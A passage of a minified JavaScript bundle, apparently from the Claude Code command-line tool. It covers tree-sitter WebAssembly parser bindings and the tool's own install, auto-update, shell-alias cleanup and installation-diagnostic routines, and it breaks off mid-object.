tree_cursor_goto_first_child_for_position_wasm=Module._ts_tree_cursor_goto_first_child_for_position_wasm=wasmExports.ts_tree_cursor_goto_first_child_for_position_wasm,_ts_tree_cursor_goto_next_sibling_wasm=Module._ts_tree_cursor_goto_next_sibling_wasm=wasmExports.ts_tree_cursor_goto_next_sibling_wasm,_ts_tree_cursor_goto_previous_sibling_wasm=Module._ts_tree_cursor_goto_previous_sibling_wasm=wasmExports.ts_tree_cursor_goto_previous_sibling_wasm,_ts_tree_cursor_goto_descendant_wasm=Module._ts_tree_cursor_goto_descendant_wasm=wasmExports.ts_tree_cursor_goto_descendant_wasm,_ts_tree_cursor_goto_parent_wasm=Module._ts_tree_cursor_goto_parent_wasm=wasmExports.ts_tree_cursor_goto_parent_wasm,_ts_tree_cursor_current_node_type_id_wasm=Module._ts_tree_cursor_current_node_type_id_wasm=wasmExports.ts_tree_cursor_current_node_type_id_wasm,_ts_tree_cursor_current_node_state_id_wasm=Module._ts_tree_cursor_current_node_state_id_wasm=wasmExports.ts_tree_cursor_current_node_state_id_wasm,_ts_tree_cursor_current_node_is_named_wasm=Module._ts_tree_cursor_current_node_is_named_wasm=wasmExports.ts_tree_cursor_current_node_is_named_wasm,_ts_tree_cursor_current_node_is_missing_wasm=Module._ts_tree_cursor_current_node_is_missing_wasm=wasmExports.ts_tree_cursor_current_node_is_missing_wasm,_ts_tree_cursor_current_node_id_wasm=Module._ts_tree_cursor_current_node_id_wasm=wasmExports.ts_tree_cursor_current_node_id_wasm,_ts_tree_cursor_start_position_wasm=Module._ts_tree_cursor_start_position_wasm=wasmExports.ts_tree_cursor_start_position_wasm,_ts_tree_cursor_end_position_wasm=Module._ts_tree_cursor_end_position_wasm=wasmExports.ts_tree_cursor_end_position_wasm,_ts_tree_cursor_start_index_wasm=Module._ts_tree_cursor_start_index_wasm=wasmExports.ts_tree_cursor_start_index_wasm,_ts_tree_cursor_end_index_wasm=Module._ts_tree_cursor_end_index_wasm=wasmExports.ts_tree_cursor_end_index_wasm,_ts_tree_cursor_current_field_id_wasm=Module._ts_tree_cursor_current_field_id_wasm=wasmExports.ts_tree_cursor_current_field_id_wasm,_ts_tree_cursor_current_depth_wasm=Module._ts_tree_cursor_current_depth_wasm=wasmExports.ts_tree_cursor_current_depth_wasm,_ts_tree_cursor_current_descendant_index_wasm=Module._ts_tree_cursor_current_descendant_index_wasm=wasmExports.ts_tree_cursor_current_descendant_index_wasm,_ts_tree_cursor_current_node_wasm=Module._ts_tree_cursor_current_node_wasm=wasmExports.ts_tree_cursor_current_node_wasm,_ts_node_symbol_wasm=Module._ts_node_symbol_wasm=wasmExports.ts_node_symbol_wasm,_ts_node_field_name_for_child_wasm=Module._ts_node_field_name_for_child_wasm=wasmExports.ts_node_field_name_for_child_wasm,_ts_node_field_name_for_named_child_wasm=Module._ts_node_field_name_for_named_child_wasm=wasmExports.ts_node_field_name_for_named_child_wasm,_ts_node_children_by_field_id_wasm=Module._ts_node_children_by_field_id_wasm=wasmExports.ts_node_children_by_field_id_wasm,_ts_node_first_child_for_byte_wasm=Module._ts_node_first_child_for_byte_wasm=wasmExports.ts_node_first_child_for_byte_wasm,_ts_node_first_named_child_for_byte_wasm=Module._ts_node_first_named_child_for_byte_wasm=wasmExports.ts_node_first_named_child_for_byte_wasm,_ts_node_grammar_symbol_wasm=Module._ts_node_grammar_symbol_wasm=wasmExports.ts_node_grammar_symbol_wasm,_ts_node_child_count_wasm=Module._ts_node_child_count_wasm=wasmExports.ts_node_child_count_wasm,_ts_node_named_child_count_wasm=Module._ts_node_named_child_count_wasm=wasmExports.ts_node_named_child_count_wasm,_ts_node_child_wasm=Module._ts_node_child_wasm=wasmExports.ts_node_child_wasm,_ts_node_named_child_wasm=Module._ts_node_named_child_wasm=wasmExports.ts_node_named_child_wasm,_ts_node_child_by_field_id_wasm=Module._ts_node_child_by_field_id_wasm=wasmExports.ts_node_child_by_field_id_wasm,_ts_node_next_sibling_wasm=Module._ts_node_next_sibling_wasm=wasmExports.ts_node_next_sibling_wasm,_ts_node_prev_sibling_wasm=Module._ts_node_prev_sibling_wasm=wasmExports.ts_node_prev_sibling_wasm,_ts_node_next_named_sibling_wasm=Module._ts_node_next_named_sibling_wasm=wasmExports.ts_node_next_named_sibling_wasm,_ts_node_prev_named_sibling_wasm=Module._ts_node_prev_named_sibling_wasm=wasmExports.ts_node_prev_named_sibling_wasm,_ts_node_descendant_count_wasm=Module._ts_node_descendant_count_wasm=wasmExports.ts_node_descendant_count_wasm,_ts_node_parent_wasm=Module._ts_node_parent_wasm=wasmExports.ts_node_parent_wasm,_ts_node_child_with_descendant_wasm=Module._ts_node_child_with_descendant_wasm=wasmExports.ts_node_child_with_descendant_wasm,_ts_node_descendant_for_index_wasm=Module._ts_node_descendant_for_index_wasm=wasmExports.ts_node_descendant_for_index_wasm,_ts_node_named_descendant_for_index_wasm=Module._ts_node_named_descendant_for_index_wasm=wasmExports.ts_node_named_descendant_for_index_wasm,_ts_node_descendant_for_position_wasm=Module._ts_node_descendant_for_position_wasm=wasmExports.ts_node_descendant_for_position_wasm,_ts_node_named_descendant_for_position_wasm=Module._ts_node_named_descendant_for_position_wasm=wasmExports.ts_node_named_descendant_for_position_wasm,_ts_node_start_point_wasm=Module._ts_node_start_point_wasm=wasmExports.ts_node_start_point_wasm,_ts_node_end_point_wasm=Module._ts_node_end_point_wasm=wasmExports.ts_node_end_point_wasm,_ts_node_start_index_wasm=Module._ts_node_start_index_wasm=wasmExports.ts_node_start_index_wasm,_ts_node_end_index_wasm=Module._ts_node_end_index_wasm=wasmExports.ts_node_end_index_wasm,_ts_node_to_string_wasm=Module._ts_node_to_string_wasm=wasmExports.ts_node_to_string_wasm,_ts_node_children_wasm=Module._ts_node_children_wasm=wasmExports.ts_node_children_wasm,_ts_node_named_children_wasm=Module._ts_node_named_children_wasm=wasmExports.ts_node_named_children_wasm,_ts_node_descendants_of_type_wasm=Module._ts_node_descendants_of_type_wasm=wasmExports.ts_node_descendants_of_type_wasm,_ts_node_is_named_wasm=Module._ts_node_is_named_wasm=wasmExports.ts_node_is_named_wasm,_ts_node_has_changes_wasm=Module._ts_node_has_changes_wasm=wasmExports.ts_node_has_changes_wasm,_ts_node_has_error_wasm=Module._ts_node_has_error_wasm=wasmExports.ts_node_has_error_wasm,_ts_node_is_error_wasm=Module._ts_node_is_error_wasm=wasmExports.ts_node_is_error_wasm,_ts_node_is_missing_wasm=Module._ts_node_is_missing_wasm=wasmExports.ts_node_is_missing_wasm,_ts_node_is_extra_wasm=Module._ts_node_is_extra_wasm=wasmExports.ts_node_is_extra_wasm,_ts_node_parse_state_wasm=Module._ts_node_parse_state_wasm=wasmExports.ts_node_parse_state_wasm,_ts_node_next_parse_state_wasm=Module._ts_node_next_parse_state_wasm=wasmExports.ts_node_next_parse_state_wasm,_ts_query_matches_wasm=Module._ts_query_matches_wasm=wasmExports.ts_query_matches_wasm,_ts_query_captures_wasm=Module._ts_query_captures_wasm=wasmExports.ts_query_captures_wasm,_memset=Module._memset=wasmExports.memset,_memcpy=Module._memcpy=wasmExports.memcpy,_memmove=Module._memmove=wasmExports.memmove,_iswalpha=Module._iswalpha=wasmExports.iswalpha,_iswblank=Module._iswblank=wasmExports.iswblank,_iswdigit=Module._iswdigit=wasmExports.iswdigit,_iswlower=Module._iswlower=wasmExports.iswlower,_iswupper=Module._iswupper=wasmExports.iswupper,_iswxdigit=Module._iswxdigit=wasmExports.iswxdigit,_memchr=Module._memchr=wasmExports.memchr,_strlen=Module._strlen=wasmExports.strlen,_strcmp=Module._strcmp=wasmExports.strcmp,_strncat=Module._strncat=wasmExports.strncat,_strncpy=Module._strncpy=wasmExports.strncpy,_towlower=Module._towlower=wasmExports.towlower,_towupper=Module._towupper=wasmExports.towupper,_setThrew=wasmExports.setThrew,__emscripten_stack_restore=wasmExports._emscripten_stack_restore,__emscripten_stack_alloc=wasmExports._emscripten_stack_alloc,_emscripten_stack_get_current=wasmExports.emscripten_stack_get_current,___wasm_apply_data_relocs=wasmExports.__wasm_apply_data_relocs;Module.setValue=setValue,Module.getValue=getValue,Module.UTF8ToString=UTF8ToString,Module.stringToUTF8=stringToUTF8,Module.lengthBytesUTF8=lengthBytesUTF8,Module.AsciiToString=AsciiToString,Module.stringToUTF16=stringToUTF16,Module.loadWebAssemblyModule=loadWebAssemblyModule;function callMain(A=[]){var K=resolveGlobalSymbol("main").sym;if(!K)return;A.unshift(thisProgram);var q=A.length,Y=stackAlloc((q+1)*4),z=Y;A.forEach((H)=>{LE_HEAP_STORE_U32((z>>2)*4,stringToUTF8OnStack(H)),z+=4}),LE_HEAP_STORE_U32((z>>2)*4,0);try{var w=K(q,Y);return exitJS(w,!0),w}catch(H){return handleException(H)}}V6(callMain,"callMain");function run(A=arguments_){if(runDependencies>0){dependenciesFulfilled=run;return}if(preRun(),runDependencies>0){dependenciesFulfilled=run;return}function K(){if(Module.calledRun=!0,ABORT)return;initRuntime(),preMain(),readyPromiseResolve(Module),Module.onRuntimeInitialized?.();var q=Module.noInitialRun;if(!q)callMain(A);postRun()}if(V6(K,"doRun"),Module.setStatus)Module.setStatus("Running..."),setTimeout(()=>{setTimeout(()=>Module.setStatus(""),1),K()},1);else K()}if(V6(run,"run"),Module.preInit){if(typeof Module.preInit=="function")Module.preInit=[Module.preInit];while(Module.preInit.length>0)Module.preInit.pop()()}return run(),moduleRtn=readyPromise,moduleRtn}})(),mM2=BM2;V6(FKK,"initializeBinding");V6(QKK,"checkModule");nQA=class{static{V6(this,"Parser")}[0]=0;[1]=0;logCallback=null;language=null;static async init(A){yKK(await FKK(A)),Q7=_1._ts_init(),BI6=_1.getValue(Q7,"i32"),mI6=_1.getValue(Q7+JK,"i32")}constructor(){this.initialize()}initialize(){if(!QKK())throw Error("cannot construct a Parser before calling `init()`");_1._ts_parser_new_wasm(),this[0]=_1.getValue(Q7,"i32"),this[1]=_1.getValue(Q7+JK,"i32")}delete(){_1._ts_parser_delete(this[0]),_1._free(this[1]),this[0]=0,this[1]=0}setLanguage(A){let K;if(!A)K=0,this.language=null;else if(A.constructor===aP1){K=A[0];let q=_1._ts_language_version(K);if(q<mI6||BI6<q)throw Error(`Incompatible language version ${q}. Compatibility range ${mI6} through ${BI6}.`);this.language=A}else throw Error("Argument must be a Language");return _1._ts_parser_set_language(this[0],K),this}parse(A,K,q){if(typeof A==="string")_1.currentParseCallback=(J)=>A.slice(J);else if(typeof A==="function")_1.currentParseCallback=A;else throw Error("Argument must be a string or a function");if(q?.progressCallback)_1.currentProgressCallback=q.progressCallback;else _1.currentProgressCallback=null;if(this.logCallback)_1.currentLogCallback=this.logCallback,_1._ts_parser_enable_logger_wasm(this[0],1);else _1.currentLogCallback=null,_1._ts_parser_enable_logger_wasm(this[0],0);let Y=0,z=0;if(q?.includedRanges){Y=q.includedRanges.length,z=_1._calloc(Y,iQA);let J=z;for(let O=0;O<Y;O++)IKK(J,q.includedRanges[O]),J+=iQA}let w=_1._ts_parser_parse_wasm(this[0],this[1],K?K[0]:0,z,Y);if(!w)return _1.currentParseCallback=null,_1.currentLogCallback=null,_1.currentProgressCallback=null,null;if(!this.language)throw Error("Parser must have a language to parse");let H=new RM2(Ft,w,this.language,_1.currentParseCallback);return _1.currentParseCallback=null,_1.currentLogCallback=null,_1.currentProgressCallback=null,H}reset(){_1._ts_parser_reset(this[0])}getIncludedRanges(){_1._ts_parser_included_ranges_wasm(this[0]);let A=_1.getValue(Q7,"i32"),K=_1.getValue(Q7+JK,"i32"),q=Array(A);if(A>0){let Y=K;for(let z=0;z<A;z++)q[z]=oP1(Y),Y+=iQA;_1._free(K)}return q}getTimeoutMicros(){return _1._ts_parser_timeout_micros(this[0])}setTimeoutMicros(A){_1._ts_parser_set_timeout_micros(this[0],0,A)}setLogger(A){if(!A)this.logCallback=null;else if(typeof A!=="function")throw Error("Logger callback must be a function");else this.logCallback=A;return this}getLogger(){return this.logCallback}}});import{join as rQA}from"path";function cKK(){return(process.argv[1]||"").includes("/.claude/local/node_modules/")}async function gM2(){try{if(!BA().existsSync(Qt))BA().mkdirSync(Qt);if(!BA().existsSync(pKK))x8(pKK,UA({name:"claude-local",version:"0.0.1",private:!0},null,2),{encoding:"utf8",flush:!1});let A=rQA(Qt,"claude");if(!BA().existsSync(A)){let K=`#!/bin/sh exec "${Qt}/node_modules/.bin/claude" "$@"`;x8(A,K,{encoding:"utf8",flush:!1}),await R6("chmod",["+x",A])}return!0}catch(A){return KA(A instanceof Error?A:Error(String(A))),!1}}async function ZMA(A,K){try{if(!await gM2())return"install_failed";let q=K?K:A==="stable"?"stable":"latest",Y=await A7("npm",["install",`${{ISSUES_EXPLAINER:"report the issue at https://github.com/anthropics/claude-code/issues",PACKAGE_URL:"@anthropic-ai/claude-code",README_URL:"https://code.claude.com/docs/en/overview",VERSION:"2.1.23",FEEDBACK_CHANNEL:"https://github.com/anthropics/claude-code/issues",BUILD_TIME:"2026-01-29T00:18:20Z"}.PACKAGE_URL}@${q}`],{cwd:Qt,maxBuffer:1e6});if(Y.code!==0){let z=Error(`Failed to install Claude CLI package: ${Y.stderr}`);return KA(z),UI6.captureException(z),Y.code===190?"in_progress":"install_failed"}return D6((z)=>({...z,installMethod:"local"})),"success"}catch(q){return KA(q instanceof Error?q:Error(String(q))),UI6.captureException(q),"install_failed"}}function Rd(){return BA().existsSync(rQA(Qt,"node_modules",".bin","claude"))}function WMA(){let A=process.env.SHELL||"";if(A.includes("zsh"))return"zsh";if(A.includes("bash"))return"bash";if(A.includes("fish"))return"fish";return"unknown"}var UI6,Qt,pKK,dKK;var Ut=k(()=>{CK();C1();i6();e6();l6();b1();b1();UI6=o(_F(),1),Qt=rQA(w8(),"local"),pKK=rQA(Qt,"package.json"),dKK=rQA(Qt,"claude")});import{homedir as sP1}from"os";import{join as pI6}from"path";function pt(){let A=process.env.ZDOTDIR||sP1();return{zsh:pI6(A,".zshrc"),bash:pI6(sP1(),".bashrc"),fish:pI6(sP1(),".config/fish/config.fish")}}function tP1(A){let K=!1;return{filtered:A.filter((Y)=>{if(lKK.test(Y)){let z=Y.match(/alias\s+claude\s*=\s*["']([^"']+)["']/);if(!z)z=Y.match(/alias\s+claude\s*=\s*([^#\n]+)/);if(z&&z[1]){if(z[1].trim()===dKK)return K=!0,!1}}return!0}),hadAlias:K}}function oQA(A){let K=BA();try{if(!K.existsSync(A))return null;return K.readFileSync(A,{encoding:"utf8"}).split(` `)}catch{return null}}function eP1(A,K){x8(A,K.join(` `),{encoding:"utf8",flush:!0})}function dI6(){let A=pt();for(let K of Object.values(A)){let q=oQA(K);if(!q)continue;for(let Y of q)if(lKK.test(Y)){let z=Y.match(/alias\s+claude=["']?([^"'\s]+)/);if(z&&z[1])return z[1]}}return null}function iKK(){let A=dI6();if(!A)return null;let K=BA(),q=A.startsWith("~")?A.replace("~",sP1()):A;try{if(K.existsSync(q)){let Y=K.statSync(q);if(Y.isFile()||Y.isSymbolicLink())return A}}catch{}return null}var lKK;var AV1=k(()=>{e6();Ut();b1();lKK=/^\s*alias\s+claude\s*=/});import{constants as FM2}from"fs";import{join as QM2}from"path";import{homedir as aQA}from"os";import{accessSync as UM2}from"fs";async function rKK(){try{let A=await Jm("tengu_version_config",{minVersion:"0.0.0"});if(A.minVersion&&YV1.lt({ISSUES_EXPLAINER:"report the issue at https://github.com/anthropics/claude-code/issues",PACKAGE_URL:"@anthropic-ai/claude-code",README_URL:"https://code.claude.com/docs/en/overview",VERSION:"2.1.23",FEEDBACK_CHANNEL:"https://github.com/anthropics/claude-code/issues",BUILD_TIME:"2026-01-29T00:18:20Z"}.VERSION,A.minVersion))console.error(` It looks like your version of Claude Code (${{ISSUES_EXPLAINER:"report the issue at https://github.com/anthropics/claude-code/issues",PACKAGE_URL:"@anthropic-ai/claude-code",README_URL:"https://code.claude.com/docs/en/overview",VERSION:"2.1.23",FEEDBACK_CHANNEL:"https://github.com/anthropics/claude-code/issues",BUILD_TIME:"2026-01-29T00:18:20Z"}.VERSION}) needs an update. A newer version (${A.minVersion} or higher) is required to continue. To update, please run: claude update This will ensure you have access to the latest features and improvements. `),Y5(1)}catch(A){KA(A)}}function DMA(A){let q=yq()?.minimumVersion;if(!q)return!1;let Y=!YV1.gte(A,q,{loose:!0});if(Y)h(`Skipping update to ${A} - below minimumVersion ${q}`);return Y}function c3A(){return QM2(w8(),".update.lock")}function cM2(){try{if(!BA().existsSync(w8()))BA().mkdirSync(w8());if(BA().existsSync(c3A())){let A=BA().statSync(c3A());if(Date.now()-A.mtimeMs<dM2)return!1;try{BA().unlinkSync(c3A())}catch(q){return KA(q),!1}}return x8(c3A(),`${process.pid}`,{encoding:"utf8"}),!0}catch(A){return KA(A),!1}}function lM2(){try{if(BA().existsSync(c3A())){if(BA().readFileSync(c3A(),{encoding:"utf8"})===`${process.pid}`)BA().unlinkSync(c3A())}}catch(A){KA(A)}}async function iM2(){let A=m6.isRunningWithBun(),K=null;if(A)K=await A7("bun",["pm","bin","-g"],{cwd:aQA()});else K=await A7("npm",["-g","config","get","prefix"],{cwd:aQA()});if(K.code!==0)return KA(Error(`Failed to check ${A?"bun":"npm"} permissions`)),null;return K.stdout.trim()}async function cI6(){try{let A=await iM2();if(!A)return{hasPermissions:!1,npmPrefix:null};let K=!1;try{UM2(A,FM2.W_OK),K=!0}catch{K=!1}if(K)return{hasPermissions:!0,npmPrefix:A};return KA(new KV1("Insufficient permissions for global npm install.")),{hasPermissions:!1,npmPrefix:A}}catch(A){return KA(A),{hasPermissions:!1,npmPrefix:null}}}async function l3A(A){let K=e7();setTimeout(()=>K.abort(),5000);let q=A==="stable"?"stable":"latest",Y=await A7("npm",["view",`${{ISSUES_EXPLAINER:"report the issue at https://github.com/anthropics/claude-code/issues",PACKAGE_URL:"@anthropic-ai/claude-code",README_URL:"https://code.claude.com/docs/en/overview",VERSION:"2.1.23",FEEDBACK_CHANNEL:"https://github.com/anthropics/claude-code/issues",BUILD_TIME:"2026-01-29T00:18:20Z"}.PACKAGE_URL}@${q}`,"version","--prefer-online"],{abortSignal:K.signal,cwd:aQA()});if(Y.code!==0){if(h(`npm view failed with code ${Y.code}`),Y.stderr)h(`npm stderr: ${Y.stderr.trim()}`);else h("npm stderr: (empty)");if(Y.stdout)h(`npm stdout: ${Y.stdout.trim()}`);return null}return Y.stdout.trim()}async function oKK(){let A=e7();setTimeout(()=>A.abort(),5000);let K=await A7("npm",["view",{ISSUES_EXPLAINER:"report the issue at https://github.com/anthropics/claude-code/issues",PACKAGE_URL:"@anthropic-ai/claude-code",README_URL:"https://code.claude.com/docs/en/overview",VERSION:"2.1.23",FEEDBACK_CHANNEL:"https://github.com/anthropics/claude-code/issues",BUILD_TIME:"2026-01-29T00:18:20Z"}.PACKAGE_URL,"dist-tags","--json","--prefer-online"],{abortSignal:A.signal,cwd:aQA()});if(K.code!==0)return h(`npm view dist-tags failed with code ${K.code}`),{latest:null,stable:null};try{let q=G6(K.stdout.trim());return{latest:typeof q.latest==="string"?q.latest:null,stable:typeof q.stable==="string"?q.stable:null}}catch(q){return h(`Failed to parse dist-tags: ${q}`),{latest:null,stable:null}}}async function qV1(A){try{return(await A8.get(`${pM2}/${A}`,{timeout:5000,responseType:"text"})).data.trim()}catch(K){return h(`Failed to fetch ${A} from GCS: ${K}`),null}}async function aKK(){let[A,K]=await Promise.all([qV1("latest"),qV1("stable")]);return{latest:A,stable:K}}async function jMA(A){if(!cM2())return KA(new KV1("Another process is currently installing an update")),n("tengu_auto_updater_lock_contention",{pid:process.pid,currentVersion:{ISSUES_EXPLAINER:"report the issue at https://github.com/anthropics/claude-code/issues",PACKAGE_URL:"@anthropic-ai/claude-code",README_URL:"https://code.claude.com/docs/en/overview",VERSION:"2.1.23",FEEDBACK_CHANNEL:"https://github.com/anthropics/claude-code/issues",BUILD_TIME:"2026-01-29T00:18:20Z"}.VERSION}),"in_progress";try{if(nM2(),!m6.isRunningWithBun()&&m6.isNpmFromWindowsPath())return KA(Error("Windows NPM detected in WSL environment")),n("tengu_auto_updater_windows_npm_in_wsl",{currentVersion:{ISSUES_EXPLAINER:"report the issue at https://github.com/anthropics/claude-code/issues",PACKAGE_URL:"@anthropic-ai/claude-code",README_URL:"https://code.claude.com/docs/en/overview",VERSION:"2.1.23",FEEDBACK_CHANNEL:"https://github.com/anthropics/claude-code/issues",BUILD_TIME:"2026-01-29T00:18:20Z"}.VERSION}),console.error(` Error: Windows NPM detected in WSL You're running Claude Code in WSL but using the Windows NPM installation from /mnt/c/. This configuration is not supported for updates. To fix this issue: 1. Install Node.js within your Linux distribution: e.g. sudo apt install nodejs npm 2. Make sure Linux NPM is in your PATH before the Windows version 3. Try updating again with 'claude update' `),"install_failed";let{hasPermissions:K}=await cI6();if(!K)return"no_permissions";let q=A?`${{ISSUES_EXPLAINER:"report the issue at https://github.com/anthropics/claude-code/issues",PACKAGE_URL:"@anthropic-ai/claude-code",README_URL:"https://code.claude.com/docs/en/overview",VERSION:"2.1.23",FEEDBACK_CHANNEL:"https://github.com/anthropics/claude-code/issues",BUILD_TIME:"2026-01-29T00:18:20Z"}.PACKAGE_URL}@${A}`:{ISSUES_EXPLAINER:"report the issue at https://github.com/anthropics/claude-code/issues",PACKAGE_URL:"@anthropic-ai/claude-code",README_URL:"https://code.claude.com/docs/en/overview",VERSION:"2.1.23",FEEDBACK_CHANNEL:"https://github.com/anthropics/claude-code/issues",BUILD_TIME:"2026-01-29T00:18:20Z"}.PACKAGE_URL,Y=m6.isRunningWithBun()?"bun":"npm",z=await A7(Y,["install","-g",q],{cwd:aQA()});if(z.code!==0){let w=new KV1(`Failed to install new version of claude: ${z.stdout} ${z.stderr}`);return KA(w),nKK.captureException(w),"install_failed"}return D6((w)=>({...w,installMethod:"global"})),"success"}finally{lM2()}}function nM2(){let A=pt();for(let[,K]of Object.entries(A))try{let q=oQA(K);if(!q)continue;let{filtered:Y,hadAlias:z}=tP1(q);if(z)eP1(K,Y),h(`Removed claude alias from ${K}`)}catch(q){h(`Failed to remove alias from ${K}: ${q}`,{level:"error"})}}var YV1,nKK,pM2="https://storage.googleapis.com/claude-code-dist-86c565f3-f756-42ad-8dfa-d59b1c096819/claude-code-releases",KV1,dM2=300000;var yd=k(()=>{l1();B7();Jz();i6();Z1();z3();l6();iw();CK();b1();e6();Sw();C1();I8();AV1();b1();n3();YV1=o(hy(),1),nKK=o(_F(),1);KV1=class KV1 extends uTA{}});function zV1(){let A=o6();if(A!=="macos"&&A!=="linux"&&A!=="wsl")return!1;let K=process.execPath||process.argv[0]||"";if(K.includes("/Caskroom/"))return h(`Detected Homebrew cask installation: ${K}`),!0;return!1}function lI6(){if(o6()!=="windows")return!1;let K=process.execPath||process.argv[0]||"",q=[/Microsoft[/\\]WinGet[/\\]Packages/i,/Microsoft[/\\]WinGet[/\\]Links/i];for(let Y of q)if(Y.test(K))return h(`Detected winget installation: ${K}`),!0;return!1}var iI6,nI6,rI6,oI6,MMA;var wV1=k(()=>{B5();Z1();CK();p7();iI6=z6(async()=>{if(o6()!=="linux")return!1;let K=process.execPath||process.argv[0]||"",q=await R6("pacman",["-Qo",K],{timeout:5000,useCwd:!1});if(q.code===0&&q.stdout)return h(`Detected pacman installation: ${q.stdout.trim()}`),!0;return!1}),nI6=z6(async()=>{if(o6()!=="linux")return!1;let K=process.execPath||process.argv[0]||"",q=await R6("dpkg",["-S",K],{timeout:5000,useCwd:!1});if(q.code===0&&q.stdout)return h(`Detected deb installation: ${q.stdout.trim()}`),!0;return!1}),rI6=z6(async()=>{if(o6()!=="linux")return!1;let K=process.execPath||process.argv[0]||"",q=await R6("rpm",["-qf",K],{timeout:5000,useCwd:!1});if(q.code===0&&q.stdout)return h(`Detected rpm installation: ${q.stdout.trim()}`),!0;return!1}),oI6=z6(async()=>{if(o6()!=="linux")return!1;let K=process.execPath||process.argv[0]||"",q=await R6("apk",["info","--who-owns",K],{timeout:5000,useCwd:!1});if(q.code===0&&q.stdout)return h(`Detected apk installation: ${q.stdout.trim()}`),!0;return!1}),MMA=z6(async()=>{if(zV1())return"homebrew";if(lI6())return"winget";if(await iI6())return"pacman";if(await oI6())return"apk";if(await nI6())return"deb";if(await rI6())return"rpm";return"unknown"})});import{homedir as i3A}from"os";import{join as Om,posix as sQA,win32 as tQA,delimiter as rM2}from"path";function oM2(){let A=process.argv[1]||"",K=process.execPath||process.argv[0]||"";if(o6()==="windows")A=A.split(tQA.sep).join(sQA.sep),K=K.split(tQA.sep).join(sQA.sep);return[A,K]}async function Xm(){let[A]=oM2();if(n9()){if(zV1()||lI6()||await iI6()||await nI6()||await rI6()||await oI6())return"package-manager";return"native"}if(cKK())return"npm-local";if(["/usr/local/lib/node_modules","/usr/lib/node_modules","/opt/homebrew/lib/node_modules","/opt/homebrew/bin","/usr/local/bin","/.nvm/versions/node/"].some((z)=>A.includes(z)))return"npm-global";if(A.includes("/npm/")||A.includes("/nvm/"))return"npm-global";let q=await wY("npm config get prefix",{shell:!0,reject:!1}),Y=q.exitCode===0?q.stdout.trim():null;if(Y&&A.startsWith(Y))return"npm-global";return"unknown"}async function aM2(){if(n9()){let A=BA();try{return A.realpathSync(process.execPath)}catch{}try{let K=await AV("claude");if(K)return K}catch{}if(A.existsSync(Om(i3A(),".local/bin/claude")))return Om(i3A(),".local/bin/claude");return"native"}try{return process.argv[0]||"unknown"}catch{return"unknown"}}function eQA(){try{if(n9())return process.execPath||"unknown";return process.argv[1]||"unknown"}catch{return"unknown"}}async function sM2(){let A=BA(),K=[],q=Om(i3A(),".claude","local");if(Rd())K.push({type:"npm-local",path:q});let Y=["@anthropic-ai/claude-code"];if({ISSUES_EXPLAINER:"report the issue at https://github.com/anthropics/claude-code/issues",PACKAGE_URL:"@anthropic-ai/claude-code",README_URL:"https://code.claude.com/docs/en/overview",VERSION:"2.1.23",FEEDBACK_CHANNEL:"https://github.com/anthropics/claude-code/issues",BUILD_TIME:"2026-01-29T00:18:20Z"}.PACKAGE_URL&&{ISSUES_EXPLAINER:"report the issue at https://github.com/anthropics/claude-code/issues",PACKAGE_URL:"@anthropic-ai/claude-code",README_URL:"https://code.claude.com/docs/en/overview",VERSION:"2.1.23",FEEDBACK_CHANNEL:"https://github.com/anthropics/claude-code/issues",BUILD_TIME:"2026-01-29T00:18:20Z"}.PACKAGE_URL!=="@anthropic-ai/claude-code")Y.push({ISSUES_EXPLAINER:"report the issue at https://github.com/anthropics/claude-code/issues",PACKAGE_URL:"@anthropic-ai/claude-code",README_URL:"https://code.claude.com/docs/en/overview",VERSION:"2.1.23",FEEDBACK_CHANNEL:"https://github.com/anthropics/claude-code/issues",BUILD_TIME:"2026-01-29T00:18:20Z"}.PACKAGE_URL);let z=await R6("npm",["-g","config","get","prefix"]);if(z.code===0&&z.stdout){let J=z.stdout.trim(),O=o6()==="windows",X=O?Om(J,"claude"):Om(J,"bin","claude");if(A.existsSync(X)){let $=!1;try{if(A.realpathSync(X).includes("/Caskroom/"))$=zV1()}catch{}if(!$)K.push({type:"npm-global",path:X})}else for(let $ of Y){let _=O?Om(J,"node_modules",$):Om(J,"lib","node_modules",$);if(A.existsSync(_))K.push({type:"npm-global-orphan",path:_})}}let w=Om(i3A(),".local","bin","claude");if(A.existsSync(w))K.push({type:"native",path:w});if(M1().installMethod==="native"){let J=Om(i3A(),".local","share","claude");if(A.existsSync(J)&&!K.some((O)=>O.type==="native"))K.push({type:"native",path:J})}return K}async function tM2(A){let K=[],q=M1();if(A==="development")return K;if(A==="native"){let H=(process.env.PATH||"").split(rM2),J=i3A(),O=Om(J,".local","bin"),X=O;if(o6()==="windows")X=O.split(tQA.sep).join(sQA.sep);if(!H.some((_)=>{let G=_;if(o6()==="windows")G=_.split(tQA.sep).join(sQA.sep);return G===X||_==="~/.local/bin"||_==="$HOME/.local/bin"}))if(o6()==="windows"){let G=O.split(sQA.sep).join(tQA.sep);K.push({issue:`Native installation exists but ${G} is not in your PATH`,fix:"Add it by opening: System Properties → Environment Variables → Edit User PATH → New → Add the path above. Then restart your terminal."})}else{let G=WMA(),W=pt()[G],D=W?W.replace(i3A(),"~"):"your shell config file";K.push({issue:"Native installation exists but ~/.local/bin is not in your PATH",fix:`Run: echo 'export PATH="$HOME/.local/bin:$PATH"' >> ${D} then open a new terminal or run: source ${D}`})}}if(!P1(process.env.DISABLE_INSTALLATION_CHECKS)){if(A==="npm-local"&&q.installMethod!=="local")K.push({issue:`Running from local installation but config install method is '${q.installMethod}'`,fix:"Consider using native installation: claude install"});if(A==="native"&&q.installMethod!=="native")K.push({issue:`Running native installation but config install method is '${q.installMethod}'`,fix:"Run claude install to update configuration"})}if(A==="npm-global"&&Rd())K.push({issue:"Local installation exists but not being used",fix:"Consider using native installation: claude install"});let Y=dI6(),z=iKK();if(A==="npm-local"){if(!await AV("claude")&&!z)if(Y)K.push({issue:"Local installation not accessible",fix:`Alias exists but points to invalid target: ${Y}. Update alias: alias claude="~/.claude/local/claude"`});else K.push({issue:"Local installation not accessible",fix:'Create alias: alias claude="~/.claude/local/claude"'})}return K}function eM2(){if(o6()!=="linux")return[];let A=[],K=S8.getLinuxGlobPatternWarnings();if(K.length>0){let q=K.slice(0,3).join(", "),Y=K.length-3,z=Y>0?`${q} (${Y} more)`:q;A.push({issue:"Glob patterns in sandbox permission rules are not fully supported on Linux",fix:`Found ${K.length} pattern(s): ${z}. On Linux, glob patterns in Edit/Read rules will be ignored.`})}return A}async function dt(){let A=await Xm(),K={ISSUES_EXPLAINER:"report the issue at 